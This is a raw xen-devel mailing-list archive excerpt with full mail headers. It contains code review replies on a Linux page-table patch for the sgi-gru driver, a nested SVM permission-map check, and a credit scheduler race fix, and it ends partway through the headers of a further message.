 id 6a69f542-5cb7-0a2a0a5109dd-0a2a45048d44-12
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:42:44 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <david@kernel.org>)
 id 6a69f543-b57f-0a2a45040019-ac6904fe8e06-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:42:44 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id B98626004E;
 Wed, 29 Jul 2026 12:42:42 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 4D1321F000E9;
 Wed, 29 Jul 2026 12:42:31 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1785328962;
	bh=CCfnfjBFYExAnxJTD/rzMs4G+JVWk8LnuYF1LstcYDw=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=OIiVNrudGYMgEdVIx0kkjz41K/abfMmWQCuVMoltvKL88ry5vvzeu9fzcY/9OXDWp
	 urmM5jTj5uYEwxtowv6dnJlwSS9PTo7quWtNi7gHj3ZqfWleJMlYHWWtwoq0IDEkky
	 8P8JnLCx+cJFeHdNFsas608FWlQT7bVkC2bwM046FAmQ7zDEHB0zW1hDtHOw8f8bql
	 4k70NlZODBKCZTfjYFNVdqOJ/v1f/eicr7a9D82muWKPn8AlDCyXeFCuwaSWyiZ0iA
	 7EW64naZjqP6zUdWAdVwIEaL++olcUVsOGEeMV8mWUj+uyYo7qTGP16v8aSA/cUEkI
	 1GtsvDfHUTVwQ==
Message-ID: <5abb6bbb-973e-41e7-820c-057e85edeb95@kernel.org>
Date: Wed, 29 Jul 2026 14:42:30 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH RFC 09/11] misc/sgi-gru: use ptep_get() for page-table
 reads
To: Pedro Falcato <pfalcato@suse.de>,
 Muhammad Usama Anjum <usama.anjum@arm.com>
Cc: Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, agordeev@linux.ibm.com, ryan.roberts@arm.com,
 linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 dri-devel@lists.freedesktop.org, linux-parisc@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-mm@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org,
 kasan-dev@googlegroups.com, linux-trace-kernel@vger.kernel.org,
 bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, damon@lists.linux.dev
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-10-usama.anjum@arm.com>
 <amnxCmFU40QQaxTx@pedro-suse.lan>
From: "David Hildenbrand (Arm)" <david@kernel.org>
Content-Language: en-US
Autocrypt: addr=david@kernel.org; keydata=
 xsFNBFXLn5EBEAC+zYvAFJxCBY9Tr1xZgcESmxVNI/0ffzE/ZQOiHJl6mGkmA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ZMCQWcwRuj1m73D
 sq8DEFBdZ5eEkj1dCyx+t/ga6x2rHyc8Sl86oK1tvAkwBNsfKou3v+jP/l14a7DGBvrmlYjO
 59o3t6inu6H7pt7OL6u6BQj7DoMAEQEAAcLBfAQYAQgAJgIbDBYhBBvZyq1zXEw6Rg38yk3e
 EPcA/4NaBQJonNqrBQkmWAihAAoJEE3eEPcA/4NaKtMQALAJ8PzprBEXbXcEXwDKQu+P/vts
 IfUb1UNMfMV76BicGa5NCZnJNQASDP/+bFg6O3gx5NbhHHPeaWz/VxlOmYHokHodOvtL0WCC
 8A5PEP8tOk6029Z+J+xUcMrJClNVFpzVvOpb1lCbhjwAV465Hy+NUSbbUiRxdzNQtLtgZzOV
 Zw7jxUCs4UUZLQTCuBpFgb15bBxYZ/BL9MbzxPxvfUQIPbnzQMcqtpUs21CMK2PdfCh5c4gS
 sDci6D5/ZIBw94UQWmGpM/O1ilGXde2ZzzGYl64glmccD8e87OnEgKnH3FbnJnT4iJchtSvx
 yJNi1+t0+qDti4m88+/9IuPqCKb6Stl+s2dnLtJNrjXBGJtsQG/sRpqsJz5x1/2nPJSRMsx9
 5YfqbdrJSOFXDzZ8/r82HgQEtUvlSXNaXCa95ez0UkOG7+bDm2b3s0XahBQeLVCH0mw3RAQg
 r7xDAYKIrAwfHHmMTnBQDPJwVqxJjVNr7yBic4yfzVWGCGNE4DnOW0vcIeoyhy9vnIa3w1uZ
 3iyY2Nsd7JxfKu1PRhCGwXzRw5TlfEsoRI7V9A8isUCoqE2Dzh3FvYHVeX4Us+bRL/oqareJ
 CIFqgYMyvHj7Q06kTKmauOe4Nf0l0qEkIuIzfoLJ3qr5UyXc2hLtWyT9Ir+lYlX9efqh7mOY
 qIws/H2t
In-Reply-To: <amnxCmFU40QQaxTx@pedro-suse.lan>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1785328964-52CCFB50-B8552616/0/0
X-purgate-type: clean
X-purgate-size: 2034

On 7/29/26 14:36, Pedro Falcato wrote:
> On Mon, Jul 27, 2026 at 05:47:00PM +0100, Muhammad Usama Anjum wrote:
>> A leaf PMD is being read through ptep_get() by treating the PMD address
>> as PTE-sized table storage. ptep_get() now accepts hw_pte_t *, so update
>> the cast accordingly.
>>
>> pte_offset_kernel() also returns hw_pte_t *. Get pte_t value by calling
>> ptep_get().
>>
>> Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
>> ---
>>  drivers/misc/sgi-gru/grufault.c | 4 ++--
>>  1 file changed, 2 insertions(+), 2 deletions(-)
>>
>> diff --git a/drivers/misc/sgi-gru/grufault.c b/drivers/misc/sgi-gru/grufault.c
>> index 3557d78ee47a2..ff89d34ad2aa4 100644
>> --- a/drivers/misc/sgi-gru/grufault.c
>> +++ b/drivers/misc/sgi-gru/grufault.c
>> @@ -228,10 +228,10 @@ static int atomic_pte_lookup(struct vm_area_struct *vma, unsigned long vaddr,
>>  		goto err;
>>  #ifdef CONFIG_X86_64
>>  	if (unlikely(pmd_leaf(*pmdp)))
>> -		pte = ptep_get((pte_t *)pmdp);
>> +		pte = ptep_get((hw_pte_t *)pmdp);
>>  	else
>>  #endif
>> -		pte = *pte_offset_kernel(pmdp, vaddr);
>> +		pte = ptep_get(pte_offset_kernel(pmdp, vaddr));
>>  
>>  	if (unlikely(!pte_present(pte) ||
>>  		     (write && (!pte_write(pte) || !pte_dirty(pte)))))
> 
> This code is super, super broken. Can we remove this ASAP? For starters,
> we're using is_vm_hugetlb_page() to detect page shift, the code does not
> grab refs on the pages, uses pte_offset_kernel() on user page tables,
> does not handle PUD-level hugepages, does not handle PMD-level hugepages on !x86_64,
> does not hold page table locks nor check for pte table retraction, etc
> 
> I don't think I need to go on.
> 

Heh, when Usama first showed me an early diffstat I was like "what the hell are
drivers doing with page tables here, they shouldn't be doing that".

atomic_pte_lookup documents: "Only supports Intel large pages (2MB only) on
x86_64. ZZZ - hugepage support is incomplete"

What is this crap? :)

-- 
Cheers,

David


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 12:45:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 12:45:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375797.1622870 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3fF-00049p-Il; Wed, 29 Jul 2026 12:45:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375797.1622870; Wed, 29 Jul 2026 12:45:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3fF-00049i-GB; Wed, 29 Jul 2026 12:45:37 +0000
Received: by outflank-mailman (input) for mailman id 1375797;
 Wed, 29 Jul 2026 12:45:36 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 1wp3fE-00049b-5h
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:45:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp3fD-00EM4e-BL
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:45:35 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a69f5ed-5cb7-0a2a0a5109dd-0a2a450cc740-18
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:45:35 +0200
Received: from [160.101.131.8] (helo=na1pdmzitismtp01.tibco.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a69f5ed-f479-0a2a450c0019-a0658308a23a-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:45:34 +0200
Received: from fedora.eng.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp01.tibco.com (Postfix) with ESMTP id 0F534445786E;
 Wed, 29 Jul 2026 08:43:58 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	jason.andryuk@amd.com,
	teddy.astie@vates.tech
Subject: Re: Re: [PATCH v1] x86/nSVM: Check the L1 IOPM_BASE and MSRPM_BASE
Date: Wed, 29 Jul 2026 13:42:46 +0100
Message-ID: <20260729124246.2183527-1-abdelkareem.abdelsaamad@citrix.com>
X-Mailer: git-send-email 2.53.0
In-Reply-To: <6cacbf75-7dc2-4eee-9791-8d434446165a@suse.com>
References: <6cacbf75-7dc2-4eee-9791-8d434446165a@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1785329134-00ACCA5B-1CD6B30C/0/0
X-purgate-type: clean
X-purgate-size: 2185

On 28.07.2026 16:00, Jan Beulich wrote: 
>On 28.07.2026 13:41, Abdelkareem Abdelsaamad wrote:
>> --- a/xen/arch/x86/hvm/svm/nestedsvm.c
>> +++ b/xen/arch/x86/hvm/svm/nestedsvm.c
>> @@ -18,6 +18,8 @@
>>  
>>  #define NSVM_ERROR_VVMCB        1
>>  #define NSVM_ERROR_VMENTRY      2
>> +#define IOPM_MAX_PAGES_DIFF     2
>> +#define MSRPM_MAX_PAGES_DIFF    1

>I see little value in these constants, the more that from their names alone
>one cannot infer what they're meant to represent. Furthermore the difference
>between the two checks you add makes clear that in the latter one you open-
>code MSRPM_MAX_PAGES_DIFF being 1.
I will change to IOPM_PAGES and MSRPM_PAGES in v2. I think it is preferrable to
use named constants rather than magic numbers?

>> @@ -295,6 +297,23 @@ static int nsvm_vmrun_permissionmap(struct vcpu *v, bool viopm)
>>      unsigned long *ns_viomap;
>>      bool ioport_80 = true, ioport_ed = true;
>> 
>> +    if ( (domain_get_maximum_gpfn(v->domain) < IOPM_MAX_PAGES_DIFF) ||
>>
>Leaving aside that it's questionable whether a domain with just two pages
>can actually run sensibly, I think there's an off-by-one here, but I
>further think the check isn't needed. After all ...
>
>> +         (gfn_x(_gfn(ns_vmcb->_iopm_base_pa >> PAGE_SHIFT)) >
>
>... the shift here guarantees that adding IOPM_MAX_PAGES_DIFF to the
>result would not overflow (unless that constant was really huge).
For the calculation, my thinking is that domain_get_maximum_gpfn returns the
maximum frame number index and the IOPM spans 3 pages, which is why I do not
think there is an off-by-one in the calculation. I completely agree with the
larger point: because of the PAGE_SHIFT and the 2-page domain, I also do not
believe, is a realistic guest. I will change the check in v2.
>
>Also please use gaddr_to_gfn() (or PFN_DOWN()) instead of open-coding.
I Will change in v2.

>> +        gdprintk(XENLOG_ERR, "nsvm_vmrun_permissionmap invalid _iopm_base_pa"
>> +                 " address (%#"PRIx64")\n", ns_vmcb->_iopm_base_pa);

>When you want the function name in a log message, please use __func__.
Yes, I will change in v2.
>Jan



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 13:32:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 13:32:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375907.1622889 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp4OI-0003kq-Vm; Wed, 29 Jul 2026 13:32:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375907.1622889; Wed, 29 Jul 2026 13:32:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp4OI-0003kj-SP; Wed, 29 Jul 2026 13:32:10 +0000
Received: by outflank-mailman (input) for mailman id 1375907;
 Wed, 29 Jul 2026 13:32:09 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp4OH-0003kd-CM
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:32:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp4OG-0004uH-2T
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 15:32:08 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a00d1-bab6-0a2a0a5309dd-0a2a4509e85e-8
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 15:32:08 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a00d7-be1a-0a2a45090019-d1558031a445-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 15:32:08 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-493f6de72faso7166785e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 06:32:07 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496fa499a96sm45797375e9.3.2026.07.29.06.32.06
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 06:32:06 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785331927; x=1785936727; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ivu+IxWUmxA+L8S93A5sn3yj//0duegd51RJ/1LjPXo=;
        b=rUyWOqBceuYhzQTuqsx/A2BhidQIoZ58cXyLyRuIrRN8b39nzDaqsyXBRnUygkFBbV
         C8GBuGQJHKSIIMZ8lMHVhVYG3rJt3we6F5dqPvaDSHq1/tKmmSu9swa0U3LmvgrLe0rb
         pOm9PEA5U4RYWfVzRk+gh5wft7WWvLSc6p1HJq0b1/cJ8Zciz/1Uuqot0/CznYLavLGm
         C7SvfF9ih826eVAwU0FT351F5CrPW7L9h6DHP9kUXqr8/s/iVbZieuYtaVXXLuhiQJTm
         0oAiMBTwllyo90twbwQZeC5Dvt4lXkCYAkGHAFsBBRM7G9TJekeT0Tnw0kxjKihXub43
         UihA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785331927; x=1785936727;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ivu+IxWUmxA+L8S93A5sn3yj//0duegd51RJ/1LjPXo=;
        b=MCsh3JL3wM5rNg0zpfizXJVaMehjNUGTiyyPbME5F3CF5ZzPbLGxWPkjA8lFYvjYvS
         3tJ1Hro4Dng+8y4riYlhitViNWku5r6LOT5QwgazDPzSrcdB24XxFh4P/h0+Hnjtom4d
         lvJywwyc6tyzTDDwL5n9q8nDd0GxKxKMn+3dZez9Qx1KDL2PEwPSd65o6pyp17Q/If1l
         KYWJruiErvHVeiQRD5ntjwjrfDAodoOGY2PB9Jnr/M3kaCMku+pCT9GSaQ8D7CqLptqa
         MSgcvQj5Zjd3nOAZbbgdo5VptGq1K5BQ2uuzut78yLIAUPgiLMdcIIRMsh+lWfYPUNtM
         +h8g==
X-Forwarded-Encrypted: i=1; AHgh+RolD27BR+PBRCM5gtKqkpISD/eMLcE1MH6olHu91bGLTQDo9PsgRFYQlmjM2rR/bsXum8FIQwD7Edg=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwIpwviq2vCI9N8W7Yk37iDIQ41UoqLQCzOWS4eRp0OeU4NE2Fg
	9RVvLkT580Rm6Dqv48PYIR7UovfOjBVfO1ZIzr9ieDkOL92hxs1iXrF8
X-Gm-Gg: AR+sD13lQ/qYraQBeL/YyTZDwMVrJa/8D6NBi3mSzRt7ZLbu3p0RtwI5cUfG8qboO60
	qIRiLGnblFoqkiSpHjgbonaA38UdR2dav60W39msVppP7GDmLEfP4qJ72I1yNl2gdCDG9YLeWxu
	gYgTLn3EULXkZfbpVgUZpAf0efO9B7db8nAPQlGNqyUc2AUrzGnQc7aO2tKmxRBKkw0g1ixQYY2
	zvaHJhW8n+cvj6aMzk/iCB+b4qT/PHJj9U+pVFfo9h7ZHWm82vkKaKH8NTD4ywoMk/aEFa7/7SN
	4Ve4+nzo73jdnrq6NDCIQU6cy9M6zAGJJV1cYiEeye4b6u9BwLZLNA8EdMPnYgYuwBH3pJ2T5IJ
	CKlRVRY75IZzuF2hH+Ty+25Vu9xEe4REQXvr99u0/bLY3aBX4ff0+whGSw1rDDKP4RfmG0lHICI
	KzvQKvl/7liFz2lUK9uPkM4IbYmrvd4zssctwP0Vnub4ajoN+7NwjJZiAFlvdXZgfr6kQ3wYYdQ
	3+6Uk3JSDSU89guWwTs0VoYL2dcWLscj/ESpBuoQyg=
X-Received: by 2002:a05:600c:46cf:b0:494:1f7:8057 with SMTP id 5b1f17b1804b1-497fd2f5070mr27928775e9.1.1785331927219;
        Wed, 29 Jul 2026 06:32:07 -0700 (PDT)
Message-ID: <8692455e-f285-4805-9394-0313b17d2b1b@gmail.com>
Date: Wed, 29 Jul 2026 15:32:05 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 1/2] xen/credit: fix race with schedule_cpu_rm() in
 csched_timer()
To: Andrew Cooper <andrew.cooper3@citrix.com>, Juergen Gross
 <jgross@suse.com>, xen-devel@lists.xenproject.org
Cc: Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Dietmar Hahn <dietmar.hahn@fujitsu.com>
References: <20260729120643.327387-1-jgross@suse.com>
 <20260729120643.327387-2-jgross@suse.com>
 <e30a9ef3-bedb-42d8-b6d8-f716112ba7c1@citrix.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <e30a9ef3-bedb-42d8-b6d8-f716112ba7c1@citrix.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1785331928-BDCC7034-168E6D48/10/73395122804
X-purgate-type: spam
X-purgate-size: 1199



On 7/29/26 2:27 PM, Andrew Cooper wrote:
> On 29/07/2026 1:06 pm, Juergen Gross wrote:
>> When removing a CPU from a cpupool running the credit scheduler, a
>> race might happen between schedule_cpu_rm() and csched_timer(),
>> resulting in a NULL dereference.
>>
>> The timer associated with csched_timer() is killed only in
>> csched_deinit_pdata(), which is called by schedule_cpu_rm() after
>> setting the scheduler's per-cpu data to NULL AND after enabling
>> interrupts again. This can result in the timer to fire before it is
>> being killed,
> 
> "... the timer firing before being killed,"
> 
>>   so csched_timer() needs to test the per-cpu data to be
>> set before accessing it.
>>
>> Fixes: 78be3dbbfefa ("cpupools [1/6]: hypervisor changes")
>> Reported-by: Dietmar Hahn <dietmar.hahn@fujitsu.com>
>> Signed-off-by: Juergen Gross <jgross@suse.com>
> 
> Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>
> 

Despite the fact that the race is very unlikely, the fix is very simple 
and still resolves a race condition, so we could consider including it 
in 4.22:
  Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Thanks.

~ Oleksii



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 13:40:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 13:40:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375924.1622913 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp4WT-0006C0-Sf; Wed, 29 Jul 2026 13:40:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375924.1622913; Wed, 29 Jul 2026 13:40:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp4WT-0006Bt-PH; Wed, 29 Jul 2026 13:40:37 +0000
Received: by outflank-mailman (input) for mailman id 1375924;
 Wed, 29 Jul 2026 13:40:36 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp4WS-0006Bh-Hy
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:40:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp4WR-00AUZE-R4
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 15:40:35 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a02d3-2eae-0a2a0a5409dd-0a2a45019e30-4
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 15:40:35 +0200
Received: from [209.85.221.50] (helo=mail-wr1-f50.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a02d3-5984-0a2a45010019-d155dd32bc7e-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 15:40:35 +0200
Received: by mail-wr1-f50.google.com with SMTP id
 ffacd0b85a97d-47f96c5b722so598854f8f.0
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 06:40:35 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fb6aa392asm7585952f8f.5.2026.07.29.06.40.33
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Wed, 29 Jul 2026 06:40:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785332435; x=1785937235; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=sFuIFHaAW+8s2KlN+hWBa0uRW0aaM8NroxXcUO611lM=;
